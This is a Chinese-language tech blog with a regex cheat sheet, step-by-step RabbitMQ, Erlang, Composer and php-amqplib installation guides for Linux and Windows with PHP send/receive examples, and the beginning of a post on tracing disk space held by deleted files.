日期(月/日/年)((0?[1-9]{1})|(1[1|2]))/(0?[1-9]|([12][1-9])|(3[0|1]))/(\d{4}|\d{2})
时间(小时:分钟, 24小时制)((1|0?)[0-9]|2[0-3]):([0-5][0-9])
中国大陆固定电话号码(\d{4}-|\d{3}-)?(\d{8}|\d{7})
中国大陆手机号码1\d{10}
中国大陆邮政编码[1-9]\d{5}
中国大陆身份证号(15位或18位)\d{15}(\d\d[0-9xX])?
非负整数(正整数或零)\d+
正整数[0-9]*[1-9][0-9]*
负整数-[0-9]*[1-9][0-9]*
整数-?\d+
小数(-?\d+)(\.\d+)?
空白行\n\s*\r 或者 \n\n(editplus) 或者 ^[\s\S ]*\n 
QQ号码[1-9]\d{4,}
不包含abc的单词\b((?!abc)\w)+\b
匹配首尾空白字符^\s*|\s*$
编辑常用以下是针对特殊中文的一些替换(editplus)
^[0-9].*\n 
^[^第].*\n 
^[习题].*\n
^[\s\S ]*\n ^[0-9]*\. ^[\s\S ]*\n <p[^<>*]>href=”javascript:if\(confirm\(‘(.*?)’\)\)window\.location='(.*?)'”<span style=”.[^”]*rgb\(255,255,255\)”>.[^<>]*</span>

<DIV class=xs0>[\s\S]*?</DIV>

转载:https://www.runoob.com/regexp/regexp-syntax.html

Posted in HTML/XHTML/CSS, 技术.


linux下安装rabbitmq及php-amqplib

一.linux 安装 git

yum 自带git 版本太低了
git version 1.7.1

yum remove git
yum -y install curl-devel expat-devel gettext-devel openssl-devel zlib-devel gcc perl-ExtUtils-MakeMaker
https://github.com/git/git/archive/v2.21.0.tar.gz
tar zxvf v2.21.0.tar.gz
cd git-2.21.0/
make configure
./configure –prefix=/usr/local/git –with-iconv=/usr/local/
make
make install

/usr/local/git/bin/git –version
git version 2.21.0

ln -s /usr/local/git/bin/git /usr/bin/git

git clone –no-checkout ‘https://github.com/php-amqplib/php-amqplib.git’ ‘/opt/php-5.4.45_phar/lib/composer/vendor/php-amqplib/php-amqplib’

SSL connect error fatal: unable to access ‘https://github.com/php-amqplib/php-amqplib.git/’: SSL connect error
git config –global http.sslversion tlsv1 vi /etc/hosts 192.30.255.112 github.com

二.安装composer

Composer 需要 PHP 5.3.2+ openssl 1.0.1+才能运行。

openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013
php编译时不能带–with-curlwrappers 和–disable-phar

php查看编译参数
php -i |grep configure
Configure Command => ‘./configure’ ‘–prefix=/opt/php-5.4.45’ ‘–with-config-file-path=/opt/php-5.4.45/etc’ ‘–with-mysql=/opt/mysql’ ‘–with-mysqli=/opt/mysql/bin/mysql_config’ ‘–with-iconv-dir=/usr/local’ ‘–with-freetype-dir’ ‘–with-jpeg-dir’ ‘–with-png-dir’ ‘–with-zlib’ ‘–with-libxml-dir=/usr’ ‘–disable-rpath’ ‘–enable-bcmath’ ‘–enable-shmop’ ‘–enable-sysvsem’ ‘–enable-inline-optimization’ ‘–with-curl’ ‘–with-curlwrappers’ ‘–enable-mbregex’ ‘–enable-cgi’ ‘–enable-fpm’ ‘–enable-mbstring’ ‘–with-mcrypt’ ‘–with-gd’ ‘–enable-gd-native-ttf’ ‘–with-openssl’ ‘–with-mhash’ ‘–enable-pcntl’ ‘–enable-sockets’ ‘–with-xmlrpc’ ‘–enable-zip’ ‘–enable-soap’ ‘–enable-xml’ ‘–disable-debug’ ‘–disable-ipv6’ ‘–without-pear’ ‘–disable-phar’ ‘–enable-ftp’ ‘–with-pdo-mysql=/opt/mysql’

–disable-phar 错误

Some settings on your machine make Composer unable to work properly.
Make sure that you fix the issues listed below and run this script again:

The phar extension is missing.
Install it or recompile php without –disable-phar

–with-curlwrappers 错误
PHP was compiled with –with-curlwrappers which will cause issues with HTTP authentication and GitHub. Recompile it without this flag if possible

git 没安装错误
sh: git: command not found

wget https://getcomposer.org/composer.phar ln -s /opt/php/bin/php /usr/bin/php php composer.phar
这将返回给你一个可执行的命令列表。

或者安装成全局方式
mv composer.phar /usr/bin/composer chmod +x /usr/bin/composer composer
创建一个composer.json
{ “require”: { “monolog/monolog”: “1.0.*”, “php-amqplib/php-amqplib”: “>=2.6.1” } }

创建国内镜像
composer clearcache composer config -g repo.packagist composer https://packagist.phpcomposer.com

建议不要用root运行,
运行时compose会在当前用户下创建一个可写的cache目录/home//.compose
sudo -uandychu composer config -g repo.packagist composer https://packagist.phpcomposer.com
会composer.json中添加
“repositories”: { “packagist”: { “type”: “composer”, “url”: “https://packagist.phpcomposer.com” } }

命令行下
php composer.phar install
或者全局方式
composer up

Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 1 install, 0 updates, 0 removals

  • Installing php-amqplib/php-amqplib (v2.8.1): Downloading (failed)
    Downloading (failed)
    Downloading (failed) Failed to download php-amqplib/php-amqplib from dist: Th
    e “https://api.github.com/repos/php-amqplib/php-amqplib/zipball/84449ffd3f5a7466
    bbee3946facb3746ff11f075″ file could not be downloaded: SSL operation failed wit
    h code 1. OpenSSL Error messages:
    error:1407742E:SSL routines:SSL23_GET_SERVER_HELLO:tlsv1 alert protocol version
    Failed to enable crypto
    failed to open stream: operation failed
    Now trying to download from source
  • Installing php-amqplib/php-amqplib (v2.8.1): Cloning 84449ffd3f from cache
    Writing lock file
    Generating autoload files

vi php.ini
将/opt/php-5.4.45_phar/lib/composer 放入include_path和 open_basedir

reload php

三.linux 安装 Erlang


yum install ncurses ncurses-base ncurses-devel ncurses-libs ncurses-static ncurses-term ocaml-curses ocaml-curses-devel -y
wget http://erlang.org/download/otp_src_21.2.tar.gz
tar zxvf otp_src_21.2.tar.gz
cd otp_src_21.2
./configure –with-ssl -enable-threads -enable-smmp-support -enable-kernel-poll –enable-hipe –without-javac
make
make install
/usr/local/bin/erl
Erlang/OTP 21 [erts-10.2] [source] [64-bit] [smp:40:40] [ds:40:40:10] [async-threads:1] [hipe]

Eshell V10.2 (abort with ^G)
1> halt().

四.linux 安装 rabbitmq

http://www.rabbitmq.com/download.html
wget https://github.com/rabbitmq/rabbitmq-server/releases/download/v3.7.11/rabbitmq-server-generic-unix-3.7.11.tar.xz tar xvf rabbitmq-server-generic-unix-3.7.11.tar.xz mv rabbitmq_server-3.7.11 /opt/ ln -s rabbitmq_server-3.7.11 rabbitmq cd /opt/rabbitmq/sbin ./rabbitmq-server &


## ##
## ## RabbitMQ 3.7.11. Copyright (C) 2007-2019 Pivotal Software, Inc.
########## Licensed under the MPL. See http://www.rabbitmq.com/
###### ##
########## Logs: /opt/rabbitmq/var/log/rabbitmq/rabbit@c1gstudio.log
/opt/rabbitmq/var/log/rabbitmq/rabbit@c1gstudio_upgrade.log

          Starting broker...

completed with 0 plugins.

[bin]

# ./rabbitmqctl status
Status of node rabbit@c1gstudio …
[{pid,28884},
{running_applications,
[{rabbit,”RabbitMQ”,”3.7.11″},
{mnesia,”MNESIA CXC 138 12″,”4.15.5″},
{os_mon,”CPO CXC 138 46″,”2.4.7″},
{sysmon_handler,”Rate-limiting system_monitor event handler”,”1.1.0″},
{rabbit_common,
“Modules shared by rabbitmq-server and rabbitmq-erlang-client”,
“3.7.11”},
{ranch,”Socket acceptor pool for TCP protocols.”,”1.7.1″},
{ssl,”Erlang/OTP SSL application”,”9.1″},
{public_key,”Public key infrastructure”,”1.6.4″},
{asn1,”The Erlang ASN1 compiler version 5.0.8″,”5.0.8″},
{inets,”INETS CXC 138 49″,”7.0.3″},
{recon,”Diagnostic tools for production use”,”2.3.6″},
{xmerl,”XML parser”,”1.3.18″},
{jsx,”a streaming, evented json parsing toolkit”,”2.9.0″},
{crypto,”CRYPTO”,”4.4″},
{lager,”Erlang logging framework”,”3.6.5″},
{goldrush,”Erlang event stream processor”,”0.1.9″},
{compiler,”ERTS CXC 138 10″,”7.3″},
{syntax_tools,”Syntax tools”,”2.1.6″},
{sasl,”SASL CXC 138 11″,”3.3″},
{stdlib,”ERTS CXC 138 10″,”3.7″},
{kernel,”ERTS CXC 138 10″,”6.2″}]},
{os,{unix,linux}},
{erlang_version,
“Erlang/OTP 21 [erts-10.2] [source] [64-bit] [smp:40:40] [ds:40:40:10] [async-threads:640] [hipe]\n”},
{memory,
[{connection_readers,0},
{connection_writers,0},
{connection_channels,0},
{connection_other,0},
{queue_procs,0},
{queue_slave_procs,0},
{plugins,10044},
{other_proc,33404336},
{metrics,197308},
{mgmt_db,0},
{mnesia,73360},
{other_ets,2314472},
{binary,150240},
{msg_index,29488},
{code,20364814},
{atom,1082561},
{other_system,30248961},
{allocated_unused,50253824},
{reserved_unallocated,0},
{strategy,rss},
{total,[{erlang,87875584},{rss,113528832},{allocated,138129408}]}]},
{alarms,[]},
{listeners,[{clustering,25672,”::”},{amqp,5672,”0.0.0.0″}]},
{vm_memory_calculation_strategy,rss},
{vm_memory_high_watermark,0.4},
{vm_memory_limit,13413631590},
{disk_free_limit,50000000},
{disk_free,322518425600},
{file_descriptors,
[{total_limit,51100},
{total_used,2},
{sockets_limit,45988},
{sockets_used,0}]},
{processes,[{limit,1048576},{used,253}]},
{run_queue,1},
{uptime,128},
{kernel,{net_ticktime,60}}]

启动服务: ./rabbitmq-server &

查看服务状态:./rabbitmqctl status

关闭服务:./rabbitmqctl stop

启动管理 ./rabbitmq-plugins enable rabbitmq_management

查看mq用户:./rabbitmqctl list_users

查看用户权限:./rabbitmqctl list_user_permissions guest

新增用户: ./rabbitmqctl add_user admin 123456

设为管理员
./rabbitmqctl set_user_tags admin administrator

编辑配置文件

cd /opt/rabbitmq/etc/rabbitmq
wget https://raw.githubusercontent.com/rabbitmq/rabbitmq-server/master/docs/rabbitmq.conf.example
cp rabbitmq.conf.example rabbitmq.conf

vi rabbitmq.conf
listeners.tcp.local = 192.168.0.37:5672
management.tcp.port = 15672
management.tcp.ip = 192.168.0.99

management.http_log_dir = /var/log/nginx/access.log

五.开机启动

vi /etc/rc.local /opt/rabbitmq/sbin/rabbitmq-server &

六.iptables

iptables -A INPUT -s 192.168.0.0/24 -p tcp -m tcp –dport 5672 -j ACCEPT iptables -A INPUT -s 192.168.0.99/32 -p tcp -m tcp –dport 15672 -j ACCEPT

/etc/init.d/iptables save

七.nginx配置

vi /opt/nginx/conf/nginx.conf

server
{
listen 80;
server_name admin.c1gstudio.com;
index index.html index.htm index.php;
root /opt/htdocs/www;

    include manageip.conf;
    deny    all;

     location /rabbit/ {
      proxy_pass        http://192.168.0.37:15672/;
      proxy_set_header  Host        $host;
      proxy_set_header  X-Real-IP   $remote_addr;
      proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;
     }            

     location / {
      proxy_pass        http://192.168.0.37:80/;
      proxy_set_header  Host        $host;
      proxy_set_header  X-Real-IP   $remote_addr;
      proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_redirect    off;
     }            

         access_log  /opt/nginx/logs/access.log  access;
 }

八.测试

打开send.php文件:

<?php

require_once DIR . ‘/vendor/autoload.php’;

use PhpAmqpLib\Connection\AMQPStreamConnection;
use PhpAmqpLib\Message\AMQPMessage;

// RabbitMQ 默认端口5672, 默认账号密码: guest / guest
// $host = ‘localhost’;
$host = ‘192.168.99.100’;
$port = ‘5672’;
$username = ‘guest’;
$password = ‘guest’;

// $connection = new AMQPStreamConnection(‘localhost’, 5672, ‘guest’, ‘guest’);
$connection = new AMQPStreamConnection($host, $port, $username, $password);
$channel = $connection->channel();
$channel->queue_declare(‘hello’, false, false, false, false);

$msg = new AMQPMessage(‘Hello World!’);
$channel->basic_publish($msg, ”, ‘hello’);
echo ” [x] Sent ‘Hello World!’\n”;

$channel->close();
$connection->close();

打开 receive.php 文件:

<?php
// file: receive.php
require_once DIR . ‘/vendor/autoload.php’;
use PhpAmqpLib\Connection\AMQPStreamConnection;

// RabbitMQ 默认端口5672, 默认账号密码: guest / guest
// $host = ‘localhost’;
// $host = ‘5672’;
$host = ‘192.168.99.100’;
$port = ‘5672’;
$username = ‘guest’;
$password = ‘guest’;

$connection = new AMQPStreamConnection($host, $port, $username, $password);
$channel = $connection->channel();

$queueName = ‘hello-test’;
$channel->queue_declare($queueName, false, false, false, false);

echo ‘ [*] Waiting for messages. To exit press CTRL+C’, “\n”;

$callback = function($msg) {
echo ” [x] Received: {“, $msg->body, “}\n”;
};

$channel->basic_consume($queueName, ”, false, true, false, false, $callback);

while(count($channel->callbacks)) {
$channel->wait();
}

发送和结束队列消息
先执行receive.php.
再执行send.php文件,来发送消息:

$ php send.php

[x]

Sent: {18-02-10 02:35:15: Hello World!}
$ php send.php

[x]

Sent: {18-02-10 02:35:34: Hello World!}

https://docs.phpcomposer.com/01-basic-usage.html
http://www.rabbitmq.com/tutorials/tutorial-one-php.html

php-amqplib amqp-ext 性能对比

https://blog.forma-pro.com/php-amqp-clients-benchmark-them-all-8a4e6adb1a6b

RabbitMQ的用户角色分类:
none、management、policymaker、monitoring、administrator

RabbitMQ各类角色描述:
none
不能访问 management plugin

management
用户可以通过AMQP做的任何事外加:
列出自己可以通过AMQP登入的virtual hosts
查看自己的virtual hosts中的queues, exchanges 和 bindings
查看和关闭自己的channels 和 connections
查看有关自己的virtual hosts的“全局”的统计信息,包含其他用户在这些virtual hosts中的活动。

policymaker
management可以做的任何事外加:
查看、创建和删除自己的virtual hosts所属的policies和parameters

monitoring
management可以做的任何事外加:
列出所有virtual hosts,包括他们不能登录的virtual hosts
查看其他用户的connections和channels
查看节点级别的数据如clustering和memory使用情况
查看真正的关于所有virtual hosts的全局的统计信息

administrator
policymaker和monitoring可以做的任何事外加:
创建和删除virtual hosts
查看、创建和删除users
查看创建和删除permissions
关闭其他用户的connections

创建用户并设置角色:
可以创建管理员用户,负责整个MQ的运维,例如:
$sudo rabbitmqctl add_user user_admin passwd_admin
赋予其administrator角色:
$sudo rabbitmqctl set_user_tags user_admin administrator

可以创建RabbitMQ监控用户,负责整个MQ的监控,例如:
$sudo rabbitmqctl add_user user_monitoring passwd_monitor
赋予其monitoring角色:
$sudo rabbitmqctl set_user_tags user_monitoring monitoring

可以创建某个项目的专用用户,只能访问项目自己的virtual hosts
$sudo rabbitmqctl add_user user_proj passwd_proj
赋予其monitoring角色:
$sudo rabbitmqctl set_user_tags user_proj management

创建和赋角色完成后查看并确认:
$sudo rabbitmqctl list_users

RabbitMQ 权限控制
默认virtual host:”/”
默认用户:guest
guest具有”/”上的全部权限,仅能有localhost访问RabbitMQ包括Plugin,建议删除或更改密码。可通过将配置文件中loopback_users置孔来取消其本地访问的限制:
[{rabbit, [{loopback_users, []}]}]

用户仅能对其所能访问的virtual hosts中的资源进行操作。这里的资源指的是virtual hosts中的exchanges、queues等,操作包括对资源进行配置、写、读。配置权限可创建、删除、资源并修改资源的行为,写权限可向资源发送消息,读权限从资源获取消息。比如:
exchange和queue的declare与delete分别需要exchange和queue上的配置权限
exchange的bind与unbind需要exchange的读写权限
queue的bind与unbind需要queue写权限exchange的读权限
发消息(publish)需exchange的写权限
获取或清除(get、consume、purge)消息需queue的读权限

对何种资源具有配置、写、读的权限通过正则表达式来匹配,具体命令如下:
set_permissions [-p ]
其中, 的位置分别用正则表达式来匹配特定的资源,如’^(amq.gen.*|amq.default)$’可以匹配server生成的和默认的exchange,’^$’不匹配任何资源

需要注意的是RabbitMQ会缓存每个connection或channel的权限验证结果、因此权限发生变化后需要重连才能生效。

为用户赋权:
$sudo rabbitmqctl set_permissions -p /vhost1 user_admin ‘.’ ‘.’ ‘.*’
该命令使用户user_admin具有/vhost1这个virtual host中所有资源的配置、写、读权限以便管理其中的资源

按用户查看权限:

$sudo rabbitmqctl list_user_permissions user_admin

按服务器查看权限

$sudo rabbitmqctl list_permissions -p /vhost1

https://juejin.im/post/5b8f4a1ff265da43330c6679
https://www.rabbitmq.com/management.html#http-api

Posted in 消息rabbitmq.

Tagged with , .


windows下安装rabbitmq及支持apache+php-ampq扩展,nginx+php-amqplib扩展


一.安装erlang拓展

因为RabbitMQ是由erlang语言实现的,所以先要安装erlang环境

erlang 下载安装 http://www.erlang.org/downloads
http://erlang.org/download/otp_win64_21.3.exe
rabbitmq 下载安装 https://www.rabbitmq.com/download.html
https://dl.bintray.com/rabbitmq/all/rabbitmq-server/3.7.14/rabbitmq-server-3.7.9.exe
php的amqp扩展下载地址:http://pecl.php.net/package/amqp

erlang和rabbitmq_server直接下载安装包安装;
amqp拓展如果web服务器是apache,可以用amqp,nginx可以用compose下的php-amqplib

二.安装amqp


amqp拓展下载要选好版本;根据系统选择32位还是64位的。查看phpInfo中:Thread Safety:如果是enabled就选ts版。disabled选择nts版。
安装拓展方法:

下载解压;将php_amqp.dll复制到php/ext;
php.ini中加上extension=php_amqp.dll;

复制rabbitmq.1.dll 到php/
apache 修改http.conf 文件 添加

LoadFile “D:/wnmp/php/rabbitmq.1.dll”

重启apache,phpinfo()中既可以看到amqp拓展了;

amqp
Version 1.4.0
Revision $Revision: 327551 $
Compiled May 22 2014 @ 16:57:32
AMQP protocol version 0-9-1
librabbitmq version 0.5.0
Directive Local Value Master Value
amqp.auto_ack 0 0
amqp.connect_timeout 0 0
amqp.host localhost localhost
amqp.login guest guest
amqp.password guest guest
amqp.port 5672 5672
amqp.prefetch_count 3 3
amqp.read_timeout 0 0
amqp.timeout no value no value
amqp.vhost / /
amqp.write_timeout 0 0

如果apache没装dll,可能会报以下错误
Fatal error: Uncaught exception ‘AMQPConnectionException’ with message ‘Socket error: could not connect to host.’

Fatal error: Uncaught exception ‘AMQPConnectionException’ with message ‘Library error: a socket error occurred – Potential login failure.’

三.安装compose下的php-amqplib

Composer 需要 PHP 5.3.2+ 才能运行。

windows下安装
https://getcomposer.org/Composer-Setup.exe

如有需要可以安装git
http://git-scm.com/download/win

php -r “copy(‘https://getcomposer.org/installer’, ‘composer-setup.php’);”
php -r “if (hash_file(‘sha384’, ‘composer-setup.php’) === ’48e3236262b34d30969dca3c37281b3b4bbe3221bda826ac6a9a62d6444cdb0dcd0615698a5cbe587c3f0fe57a54d8f5′) { echo ‘Installer verified’; } else { echo ‘Installer corrupt’; unlink(‘composer-setup.php’); } echo PHP_EOL;”
php composer-setup.php
php -r “unlink(‘composer-setup.php’);”

这个命令会将 composer.phar 下载到当前目录。PHAR(PHP 压缩包)是一个压缩格式,可以在命令行下直接运行。

php composer.phar
这将返回给你一个可执行的命令列表。

创建一个composer.json
d:/wnmp/composer/composer.json
{ “require”: { “monolog/monolog”: “1.0.*”, “php-amqplib/php-amqplib”: “>=2.6.1” } }

php composer.phar up

编辑php.ini
将d:/wnmp/composer 放入include_path和 open_basedir

四.rabbitmq

进入sbin目录cmd执行rabbitmq-service.bat start

进入sbin目录cmd执行rabbitmqctl.bat status
如果出现以下的图,说明安装是成功的,并且说明现在
RabbitMQ Server 已经启动了,运行正常
Status of node rabbit@QFNO88I … [{pid,2208}, {running_applications, [{rabbit,”RabbitMQ”,”3.7.9″}, {rabbit_common, “Modules shared by rabbitmq-server and rabbitmq-erlang-client”, “3.7.9”}, {ranch_proxy_protocol,”Ranch Proxy Protocol Transport”,”2.1.1″}, {ranch,”Socket acceptor pool for TCP protocols.”,”1.6.2″}, {ssl,”Erlang/OTP SSL application”,”9.1″}, {public_key,”Public key infrastructure”,”1.6.4″}, {asn1,”The Erlang ASN1 compiler version 5.0.8″,”5.0.8″}, {mnesia,”MNESIA CXC 138 12″,”4.15.5″}, {crypto,”CRYPTO”,”4.4″}, {os_mon,”CPO CXC 138 46″,”2.4.7″}, {xmerl,”XML parser”,”1.3.18″}, {inets,”INETS CXC 138 49″,”7.0.3″}, {jsx,”a streaming, evented json parsing toolkit”,”2.9.0″}, {recon,”Diagnostic tools for production use”,”2.3.6″}, {lager,”Erlang logging framework”,”3.6.5″}, {goldrush,”Erlang event stream processor”,”0.1.9″}, {compiler,”ERTS CXC 138 10″,”7.3″}, {syntax_tools,”Syntax tools”,”2.1.6″}, {sasl,”SASL CXC 138 11″,”3.3″}, {stdlib,”ERTS CXC 138 10″,”3.7″}, {kernel,”ERTS CXC 138 10″,”6.2″}]}, {os,{win32,nt}}, {erlang_version, “Erlang/OTP 21 [erts-10.2] [64-bit] [smp:4:4] [ds:4:4:10] [async-threads:64]\n”}, {memory, [{connection_readers,0}, {connection_writers,0}, {connection_channels,0}, {connection_other,0}, {queue_procs,0}, {queue_slave_procs,0}, {plugins,13724}, {other_proc,23284296}, {metrics,195772}, {mgmt_db,0}, {mnesia,73736}, {other_ets,2460472}, {binary,211248}, {msg_index,29824}, {code,24360636}, {atom,1082561}, {other_system,10339171}, {allocated_unused,14166928}, {reserved_unallocated,0}, {strategy,rss}, {total,[{erlang,62051440},{rss,76218368},{allocated,76218368}]}]}, {alarms,[]}, {listeners,[{clustering,25672,”::”},{amqp,5672,”::”},{amqp,5672,”0.0.0.0″}]}, {vm_memory_calculation_strategy,rss}, {vm_memory_high_watermark,0.4}, {vm_memory_limit,3415903436}, {disk_free_limit,50000000}, {disk_free,42944823296}, {file_descriptors, [{total_limit,8092}, {total_used,2}, {sockets_limit,7280}, {sockets_used,0}]}, {processes,[{limit,1048576},{used,230}]}, {run_queue,1}, {uptime,29084}, {kernel,{net_ticktime,60}}]

如果没有出现的话在执行

  1. rabbitmqservice.bat install
  2. rabbitmqservice.bat start,如果是关闭的话就是rabbitmqservice.bat stop

显示管理界面
1.进入RabbitMQ的sbin目录 cmd执行
2.rabbitmq-plugins.bat list (查看所有插件)
3.rabbitmq-plugins.bat enable rabbitmq_management (启动后台管
理界面插件)

.\rabbitmq-plugins.bat list

Listing plugins with pattern “.*” …
Configured: E = explicitly enabled; e = implicitly enabled
| Status: * = running on rabbit@QFNO88I
|/
[ ] rabbitmq_amqp1_0 3.7.9
[ ] rabbitmq_auth_backend_cache 3.7.9
[ ] rabbitmq_auth_backend_http 3.7.9
[ ] rabbitmq_auth_backend_ldap 3.7.9
[ ] rabbitmq_auth_mechanism_ssl 3.7.9
[ ] rabbitmq_consistent_hash_exchange 3.7.9
[ ] rabbitmq_event_exchange 3.7.9
[ ] rabbitmq_federation 3.7.9
[ ] rabbitmq_federation_management 3.7.9
[ ] rabbitmq_jms_topic_exchange 3.7.9
[ ] rabbitmq_management 3.7.9
[ ] rabbitmq_management_agent 3.7.9
[ ] rabbitmq_mqtt 3.7.9
[ ] rabbitmq_peer_discovery_aws 3.7.9
[ ] rabbitmq_peer_discovery_common 3.7.9
[ ] rabbitmq_peer_discovery_consul 3.7.9
[ ] rabbitmq_peer_discovery_etcd 3.7.9
[ ] rabbitmq_peer_discovery_k8s 3.7.9
[ ] rabbitmq_random_exchange 3.7.9
[ ] rabbitmq_recent_history_exchange 3.7.9
[ ] rabbitmq_sharding 3.7.9
[ ] rabbitmq_shovel 3.7.9
[ ] rabbitmq_shovel_management 3.7.9
[ ] rabbitmq_stomp 3.7.9
[ ] rabbitmq_top 3.7.9
[ ] rabbitmq_tracing 3.7.9
[ ] rabbitmq_trust_store 3.7.9
[ ] rabbitmq_web_dispatch 3.7.9
[ ] rabbitmq_web_mqtt 3.7.9
[ ] rabbitmq_web_mqtt_examples 3.7.9
[ ] rabbitmq_web_stomp 3.7.9
[ ] rabbitmq_web_stomp_examples 3.7.9

.\rabbitmq-plugins.bat enable rabbitmq_management

Enabling plugins on node rabbit@QFNO88I:
rabbitmq_management
The following plugins have been configured:
rabbitmq_management
rabbitmq_management_agent
rabbitmq_web_dispatch
Applying plugin configuration to rabbit@QFNO88I…
The following plugins have been enabled:
rabbitmq_management
rabbitmq_management_agent
rabbitmq_web_dispatch

started 3 plugins.

浏览器输入:127.0.0.1:15672

输入用户名和密码,初始化的用户名和密码是 guest: guest
注意: guest只能在localhost登录

手动添加账号
a) 查看所有账号 rabbitmqctl.bat list_users
b) 创建账号 rabbitmqctl.bat add_user
e) 设置角色 rabbitmqctl.bat set_user_tags keving administrator
f) 设置权限, rabbitmqctl.bat set_permissions –p / “.” “.” “.*”
/代表 vhost, 后面是权限在即可以 配置、写、读权限

./rabbitmqctl.bat add_user user1 user1
添加个vhost yjs

五.测试

打开send.php文件:

<?php

require_once DIR . ‘/vendor/autoload.php’;

use PhpAmqpLib\Connection\AMQPStreamConnection;
use PhpAmqpLib\Message\AMQPMessage;

// RabbitMQ 默认端口5672, 默认账号密码: guest / guest
// $host = ‘localhost’;
$host = ‘192.168.99.100’;
$port = ‘5672’;
$username = ‘guest’;
$password = ‘guest’;

// $connection = new AMQPStreamConnection(‘localhost’, 5672, ‘guest’, ‘guest’);
$connection = new AMQPStreamConnection($host, $port, $username, $password);
$channel = $connection->channel();
$channel->queue_declare(‘hello’, false, false, false, false);

$msg = new AMQPMessage(‘Hello World!’);
$channel->basic_publish($msg, ”, ‘hello’);
echo ” [x] Sent ‘Hello World!’\n”;

$channel->close();
$connection->close();

打开 receive.php 文件:

<?php
// file: receive.php
require_once DIR . ‘/vendor/autoload.php’;
use PhpAmqpLib\Connection\AMQPStreamConnection;

// RabbitMQ 默认端口5672, 默认账号密码: guest / guest
// $host = ‘localhost’;
// $host = ‘5672’;
$host = ‘192.168.99.100’;
$port = ‘5672’;
$username = ‘guest’;
$password = ‘guest’;

$connection = new AMQPStreamConnection($host, $port, $username, $password);
$channel = $connection->channel();

$queueName = ‘hello-test’;
$channel->queue_declare($queueName, false, false, false, false);

echo ‘ [*] Waiting for messages. To exit press CTRL+C’, “\n”;

$callback = function($msg) {
echo ” [x] Received: {“, $msg->body, “}\n”;
};

$channel->basic_consume($queueName, ”, false, true, false, false, $callback);

while(count($channel->callbacks)) {
$channel->wait();
}

发送和结束队列消息
先执行receive.php.
再执行send.php文件,来发送消息:

$ php send.php

[x]

Sent: {18-02-10 02:35:15: Hello World!}
$ php send.php

[x]

Sent: {18-02-10 02:35:34: Hello World!}

https://docs.phpcomposer.com/01-basic-usage.html
http://www.rabbitmq.com/tutorials/tutorial-one-php.html
php-amqplib amqp-ext 性能对比
https://blog.forma-pro.com/php-amqp-clients-benchmark-them-all-8a4e6adb1a6b


https://blog.forma-pro.com/php-amqp-clients-benchmark-them-all-8a4e6adb1a6b

RabbitMQ的用户角色分类:


none、management、policymaker、monitoring、administrator

RabbitMQ各类角色描述:
none
不能访问 management plugin

management
用户可以通过AMQP做的任何事外加:
列出自己可以通过AMQP登入的virtual hosts
查看自己的virtual hosts中的queues, exchanges 和 bindings
查看和关闭自己的channels 和 connections
查看有关自己的virtual hosts的“全局”的统计信息,包含其他用户在这些virtual hosts中的活动。

policymaker
management可以做的任何事外加:
查看、创建和删除自己的virtual hosts所属的policies和parameters

monitoring
management可以做的任何事外加:
列出所有virtual hosts,包括他们不能登录的virtual hosts
查看其他用户的connections和channels
查看节点级别的数据如clustering和memory使用情况
查看真正的关于所有virtual hosts的全局的统计信息

administrator
policymaker和monitoring可以做的任何事外加:
创建和删除virtual hosts
查看、创建和删除users
查看创建和删除permissions
关闭其他用户的connections

创建用户并设置角色:
可以创建管理员用户,负责整个MQ的运维,例如:
$sudo rabbitmqctl add_user user_admin passwd_admin
赋予其administrator角色:
$sudo rabbitmqctl set_user_tags user_admin administrator

可以创建RabbitMQ监控用户,负责整个MQ的监控,例如:
$sudo rabbitmqctl add_user user_monitoring passwd_monitor
赋予其monitoring角色:
$sudo rabbitmqctl set_user_tags user_monitoring monitoring

可以创建某个项目的专用用户,只能访问项目自己的virtual hosts
$sudo rabbitmqctl add_user user_proj passwd_proj
赋予其monitoring角色:
$sudo rabbitmqctl set_user_tags user_proj management

创建和赋角色完成后查看并确认:
$sudo rabbitmqctl list_users

RabbitMQ 权限控制
默认virtual host:”/”
默认用户:guest
guest具有”/”上的全部权限,仅能有localhost访问RabbitMQ包括Plugin,建议删除或更改密码。可通过将配置文件中loopback_users置孔来取消其本地访问的限制:
[{rabbit, [{loopback_users, []}]}]

用户仅能对其所能访问的virtual hosts中的资源进行操作。这里的资源指的是virtual hosts中的exchanges、queues等,操作包括对资源进行配置、写、读。配置权限可创建、删除、资源并修改资源的行为,写权限可向资源发送消息,读权限从资源获取消息。比如:
exchange和queue的declare与delete分别需要exchange和queue上的配置权限
exchange的bind与unbind需要exchange的读写权限
queue的bind与unbind需要queue写权限exchange的读权限
发消息(publish)需exchange的写权限
获取或清除(get、consume、purge)消息需queue的读权限

对何种资源具有配置、写、读的权限通过正则表达式来匹配,具体命令如下:
set_permissions [-p ]
其中, 的位置分别用正则表达式来匹配特定的资源,如’^(amq.gen.*|amq.default)$’可以匹配server生成的和默认的exchange,’^$’不匹配任何资源

需要注意的是RabbitMQ会缓存每个connection或channel的权限验证结果、因此权限发生变化后需要重连才能生效。

为用户赋权:
$sudo rabbitmqctl set_permissions -p /vhost1 user_admin ‘.’ ‘.’ ‘.*’
该命令使用户user_admin具有/vhost1这个virtual host中所有资源的配置、写、读权限以便管理其中的资源

按用户查看权限:

$sudo rabbitmqctl list_user_permissions user_admin

按服务器查看权限

$sudo rabbitmqctl list_permissions -p /vhost1

Posted in 技术, 消息rabbitmq.

Tagged with , , , , .


linux查看磁盘占用,找到已删除却没有释放的进程

df -h

Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg-lv_root 118G 13G 100G 12% / tmpfs 16G 4.0K 16G 1% /dev/shm /dev/sda1 477M 42M 411M 10% /boot /dev/mapper/vg-lv_app 318G 138G 164G 46% /opt /dev/mapper/vg-lv_var 99G 80G 14G 86% /var /usr/Tmp 9.4G 158M 8.8G 2% /tmp

/var/使用了80G,小于15%的空闲.

cd /var

du -sh .

490M .
.0K ./empty
4.0K ./yp
4.0K ./tmp
5.5M ./spool
4.0K ./account
4.0K ./crash
192K ./run
193M ./cache
4.0K ./local
4.0K ./agentx
16K ./lost+found
4.0K ./nis
16K ./lock
4.0K ./games
32K ./db
172M ./lib
120M ./log
4.0K ./preserve
4.0K ./opt
490M .

进入/var 看一下实际才使用490M.再查一下inode,也没问题.

df -i

Filesystem Inodes IUsed IFree IUse% Mounted on
